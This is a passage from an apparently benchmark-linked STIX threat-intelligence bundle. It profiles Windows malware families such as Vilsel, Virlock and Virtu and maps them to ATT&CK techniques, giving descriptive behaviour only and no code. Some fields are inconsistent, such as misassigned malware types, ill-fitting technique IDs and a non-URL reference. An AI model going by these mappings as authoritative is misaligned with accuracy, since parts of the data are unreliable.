      "description": "Vilsel (cataloged in threat research and antivirus vendor databases under detections including Trojan:Win32/Vilsel, Trojan.Win32.Vilsel, and Trojan.Vilsel) is a pervasive Windows trojan and initial access stager active since 2011. Distributed primarily through trojanized software activators, pirated media downloads, and malicious email attachments, Vilsel executes multi-stage evasion routines upon initial compromise. Once active, the trojan copies itself under randomized alphanumeric filenames into %Temp%, %AppData%, or the Windows system directory and establishes persistence via registry autostart keys. Vilsel actively impairs local defenses by attempting to disable the Windows Firewall, terminate Task Manager, and suppress User Account Control (UAC) prompts. It establishes outbound HTTP command-and-control communication to download and stage secondary malicious payloads, including banking trojans, cryptocurrency miners, and backdoor tools. (Observed samples in benchmark: 74)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Vilsel",
        "Trojan.Win32.Vilsel",
        "Trojan.Vilsel",
        "Trojan:Win32/Vilsel!MTB"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vilsel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vilsel"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--177dd790-79b0-5c38-9285-819014734272",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--916ec750-7b57-5478-94d0-55fe7b2552ad",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vilsel exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ca94bba-63dd-59ca-86ed-2c4cb7154dc2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--916ec750-7b57-5478-94d0-55fe7b2552ad",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vilsel exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40a1e0bc-8a26-540e-90db-345d29454c7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--916ec750-7b57-5478-94d0-55fe7b2552ad",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vilsel exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ae1daa8-f86e-5b7f-9039-b71ce6f027a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--916ec750-7b57-5478-94d0-55fe7b2552ad",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vilsel exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d1cf697-ac3d-553a-9e41-154eba15d744",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--916ec750-7b57-5478-94d0-55fe7b2552ad",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vilsel exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--54c720ed-0883-55ca-8dca-21b0a7f9acca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vimditator",
      "description": "Adware:Win32/Vimditator is a deceptive adware framework and Potentially Unwanted Program (PUA) that silently infiltrates endpoints, typically bundled with freeware, to inject intrusive advertisements, hijack browser settings, and harvest user search telemetry for affiliate monetization.<br><br><b>What is Vimditator?</b><br>To the average user, Vimditator is highly visible and deeply frustrating. The browser homepage is forcibly changed, default search engines are locked to unfamiliar domains, and standard websites are flooded with injected banner ads or in-text hyperlinks. For security analysts, Vimditator operates on the Pay-Per-Install (PPI) model. It leverages deceptive installation tactics and aggressive persistence mechanisms to ensure the user cannot easily revert their browser settings, guaranteeing continued revenue generation for the attackers.<br><br><b>Infection Vectors & Threat Hunting</b><br>Vimditator is almost exclusively distributed via deceptive software bundlers. When a user downloads a free PDF editor or media player from a third-party site, the Vimditator wrapper executes first. It employs 'Dark Patterns'\u2014pre-checked boxes hidden behind 'Advanced' menus\u2014to gain technical consent. Upon execution, it installs malicious browser extensions (`T1176`) and frequently leverages Windows Group Policy (GPO) settings (`ExtensionInstallForcelist`) to lock the rogue extensions in place. It establishes persistence via Registry Run keys and scheduled tasks.<br><br><b>Forensic Analysis & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic to known ad-tracking networks. EDR logs will show the initial installer attempting to modify browser preference files (e.g., Chrome's `Preferences` JSON file) and establishing unauthorized Group Policies. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vimditator",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vimditator"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc27d253-8f2b-541f-9285-98d34fd944f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--54c720ed-0883-55ca-8dca-21b0a7f9acca",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vimditator exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81524454-27f2-51f2-8189-610723715ce0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--54c720ed-0883-55ca-8dca-21b0a7f9acca",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vimditator exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da4443eb-c76d-5a61-8e4b-35d9139fa87a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--54c720ed-0883-55ca-8dca-21b0a7f9acca",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vimditator exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6888fcbf-bd3c-52ab-b977-ae64e7ee5196",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--54c720ed-0883-55ca-8dca-21b0a7f9acca",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vimditator exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fbfc048e-8d9b-5d4e-b321-31594a8e9327",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--54c720ed-0883-55ca-8dca-21b0a7f9acca",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vimditator exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7cd9828d-3dd8-57a3-986f-0736c00f7c2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vindor",
      "description": "Vindor (cataloged across security vendors under detections including Trojan:Win32/Vindor, Trojan.Win32.Vindor, and Win32/Vindor) is a multi-stage Windows trojan and initial access stager active since 2014. Distributed predominantly through deceptive software installers, pirated utilities, and malicious email links, Vindor unpacks obfuscated binaries in memory to evade static endpoint heuristics. Once executed, Vindor gathers basic host telemetry, verifies internet connectivity, and contacts remote command-and-control servers over HTTP. It downloads and executes secondary malicious payloads, such as cryptocurrency miners, browser hijackers, and ransomware precursors, saving them into temporary directories like %Temp% or %AppData%. Vindor maintains persistence through Windows registry Run keys and scheduled background maintenance tasks. (Observed samples in benchmark: 63)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Vindor",
        "Trojan.Win32.Vindor",
        "Win32/Vindor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vindor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vindor"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54cfdc9e-6419-5186-9df6-ce07bc833c01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7cd9828d-3dd8-57a3-986f-0736c00f7c2c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vindor exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6d04572-0e7a-5338-b1cb-c0620fab5e8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7cd9828d-3dd8-57a3-986f-0736c00f7c2c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vindor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--118577bf-184d-5f62-bf96-675534bd8902",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7cd9828d-3dd8-57a3-986f-0736c00f7c2c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vindor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11580977-2afd-5d08-90f9-f87e64ce19ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7cd9828d-3dd8-57a3-986f-0736c00f7c2c",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vindor exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be08ca7e-f4a7-52be-890f-56bf97ef8270",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7cd9828d-3dd8-57a3-986f-0736c00f7c2c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vindor exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a6c777f3-ae20-5aad-ac8d-8c4e825fffdd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Virgilio",
      "description": "<h3>Executive Summary</h3>\nVirgilio is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nVirgilio is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Virgilio operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Virgilio ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Virgilio receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Virgilio infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Virgilio executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Virgilio frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Virgilio",
        "Downloader.Virgilio",
        "Win32/Virgilio"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Virgilio",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/virgilio"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e9983ff7-ffbc-5c71-b1a4-8520152c6ca9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6c777f3-ae20-5aad-ac8d-8c4e825fffdd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virgilio exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--421677b6-96ab-5efe-a613-1fdd73152731",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6c777f3-ae20-5aad-ac8d-8c4e825fffdd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virgilio exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19f9c039-122a-539c-a7c6-ffd32f1eea48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6c777f3-ae20-5aad-ac8d-8c4e825fffdd",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virgilio exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--da29e386-b711-5259-b18a-0bd6a3a9cf3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Virledi",
      "description": "Virus:Win32/Virledi is a destructive and parasitic **File Infector**. Unlike standard trojans which simply run alongside legitimate programs, Virledi actively searches for executable files (such as `.exe`, `.dll`, or `.scr`) on the compromised system and physically alters them, injecting its own malicious code into the host file. This makes remediation significantly more complex than simply deleting a single dropped file.<br><br><b>Understanding File Infectors (Viruses)</b><br>To an end-user, the system may become unstable, applications might crash frequently, or antivirus software might suddenly start detecting hundreds of files as malicious. For a security analyst, a Virledi infection is a severe incident. Because it alters legitimate system files, manually deleting the 'infected' files will destroy the operating system or the user's installed applications. The malware must be carefully 'disinfected' (the malicious code surgically removed from the host file) to restore functionality.<br><br><b>Execution and Infection Mechanics</b><br>Virledi typically arrives via infected removable media, network shares, or downloaded as a payload from another trojan. Upon execution (`T1204.002`), it establishes persistence (`T1547.001`). Its primary routine involves traversing the file system (`T1083`). When it finds a target executable, it opens the file, modifies the PE (Portable Executable) header (`T1055.001`), and appends its malicious code\u2014usually to a new section or the end of the file. It then alters the entry point of the executable to point to the viral code. When the user later runs the 'infected' legitimate application (e.g., `calc.exe` or a game), the virus code executes first, infects more files, and then passes control back to the legitimate application, often hiding the infection from the user.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the widespread corruption of executable files and severe system instability. The most glaring IoC is an avalanche of EDR alerts indicating that hundreds of distinct, legitimate executables across the `C:\\` drive are suddenly exhibiting malicious behavior or have changed their file hashes. File sizes of infected executables will be larger than their clean counterparts. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Virledi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/virledi"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a4f6197-0e07-5df2-80eb-d8c179c846fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da29e386-b711-5259-b18a-0bd6a3a9cf3f",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virledi exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection (File Infection logic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd60e0b0-5415-5c67-ba89-3e00848360ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da29e386-b711-5259-b18a-0bd6a3a9cf3f",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virledi exhibits technique T1083 (File and Directory Discovery (Searching for files to infect))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d008c3a4-0bb2-56dc-95ad-9b11365bfe50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da29e386-b711-5259-b18a-0bd6a3a9cf3f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virledi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69f89c6f-57d1-5990-ae09-3da667a05780",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da29e386-b711-5259-b18a-0bd6a3a9cf3f",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virledi exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8145c1ef-b6fd-5b6a-83d0-24767c98c019",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Virlock",
      "description": "VirLock (tracked in academic literature and threat databases as VirRansom) represents a historic and technically unique evolutionary milestone in malware engineering: it was the world's first documented hybrid between a parasitic polymorphic file infector and a screen-locking ransomware locker. First surfacing in December 2014, VirLock diverged drastically from standard ransomware families that simply encrypt target files and append static extensions.\n\nInstead of in-place encryption, VirLock acts as a classic virus: it infects existing files on the host\u2014including Windows executables (.exe), Word documents (.doc), Excel spreadsheets (.xls), PDF files (.pdf), and archive volumes (.zip)\u2014by encrypting the original host body, generating a polymorphic decryption stub, and prepending or appending the malware's own executable code directly into the target file. Consequently, every single infected file on the victim's hard drive or mapped network share is transformed into a functioning VirLock executable.\n\nWhen any infected file is subsequently executed, VirLock executes its payload, establishes persistence via registry Run keys, terminates security software processes, and presents a full-screen lockscreen pretending to originate from federal law enforcement (claiming copyright infringement or software piracy) demanding a Bitcoin fine to unlock the machine. Because every infected document becomes an active vector, VirLock spreads rapidly across shared enterprise file servers and removable USB media, requiring specialized cryptographic disinfection rather than simple quarantine. (Observed samples in benchmark: 3,132)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "VirLock",
        "VirRansom",
        "Polymorphic Locker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Virlock",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/virlock"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "CISA Alert AA21-209A (Ransomware Evolution & Polymorphic Threats)"
        }
      ],
      "labels": [
        "ransomware_file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12ec53b5-db3a-5684-bef3-0bdff4a8d8e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8145c1ef-b6fd-5b6a-83d0-24767c98c019",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virlock exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6e5ce24-bf03-5b4e-9a8a-e9b843e36386",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8145c1ef-b6fd-5b6a-83d0-24767c98c019",
      "target_ref": "attack-pattern--ef5168e9-c9b1-54d2-a97c-62c41112bcd1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virlock exhibits technique T1027.009 (Obfuscated Files or Information: Embedded Payloads (Extracting the PUPs from the wrapper))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34b8edd6-27bf-56c3-baad-8d445333acb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8145c1ef-b6fd-5b6a-83d0-24767c98c019",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virlock exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a345d483-7baa-5f74-b2ed-ea21a7f08fde",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8145c1ef-b6fd-5b6a-83d0-24767c98c019",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virlock exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7aa8a3f5-9d3f-544c-9c03-60579b0ca746",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8145c1ef-b6fd-5b6a-83d0-24767c98c019",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virlock exhibits technique T1070.004 (Indicator Removal on Host: File Deletion (Deleting the dropped executable after exfiltration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ef467a2-2dcd-5a2f-b7d9-c807faebf313",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8145c1ef-b6fd-5b6a-83d0-24767c98c019",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Virlock exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9f377f73-d557-5cf0-a7d8-0950e9ce9346",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Virtu",
      "description": "Virus:Win32/Virtu (often associated with the **Virut** family) is a highly destructive, polymorphic file infector and botnet agent. Unlike modern trojans that simply drop a payload, Virtu actively modifies and injects its malicious code into existing, legitimate Windows executable files (`.exe` and `.scr`) across the entire file system. It is notorious for its rapid propagation and the extreme difficulty of disinfecting a compromised machine without corrupting the host files.<br><br><b>Understanding the Virtu/Virut Virus</b><br>To an end-user, the infection results in severe system instability, application crashes, and excessive network activity. For security analysts, Virtu is one of the most difficult malware families to remediate. Because it physically alters hundreds of legitimate system files (like `notepad.exe` or `calc.exe`), simply deleting the 'malware' means deleting the operating system itself.<br><br><b>Execution and Polymorphic Infection Mechanics</b><br>Virtu is typically introduced via exploit kits, malicious downloads, or by plugging in an infected USB drive (`T1091`). Upon execution, the virus becomes memory-resident (`T1055`) and begins scanning all local drives and accessible network shares for executable files (`T1083`). When it finds a target file, Virtu uses sophisticated polymorphic techniques (`T1027`)\u2014constantly changing its decryptor stub\u2014to inject its code into a new section of the host executable (`T1195`). When the user later runs that 'clean' application, the virus executes first, infecting more files, and then passes control back to the original application. Furthermore, Virtu connects to a hardcoded IRC-based Command and Control (C2) server (`T1071.001`) to join a massive botnet, often downloading secondary payloads like spam bots or fake antivirus software.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total corruption of the file system and participation in a global botnet. The primary IoC is an avalanche of EDR alerts indicating that hundreds of legitimate system executables are suddenly exhibiting malicious behavior (e.g., `notepad.exe` attempting to connect to an external IRC server). Network logs will show sustained outbound traffic on IRC ports (TCP 6667) or HTTP to known sinkholed Virtu domains. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
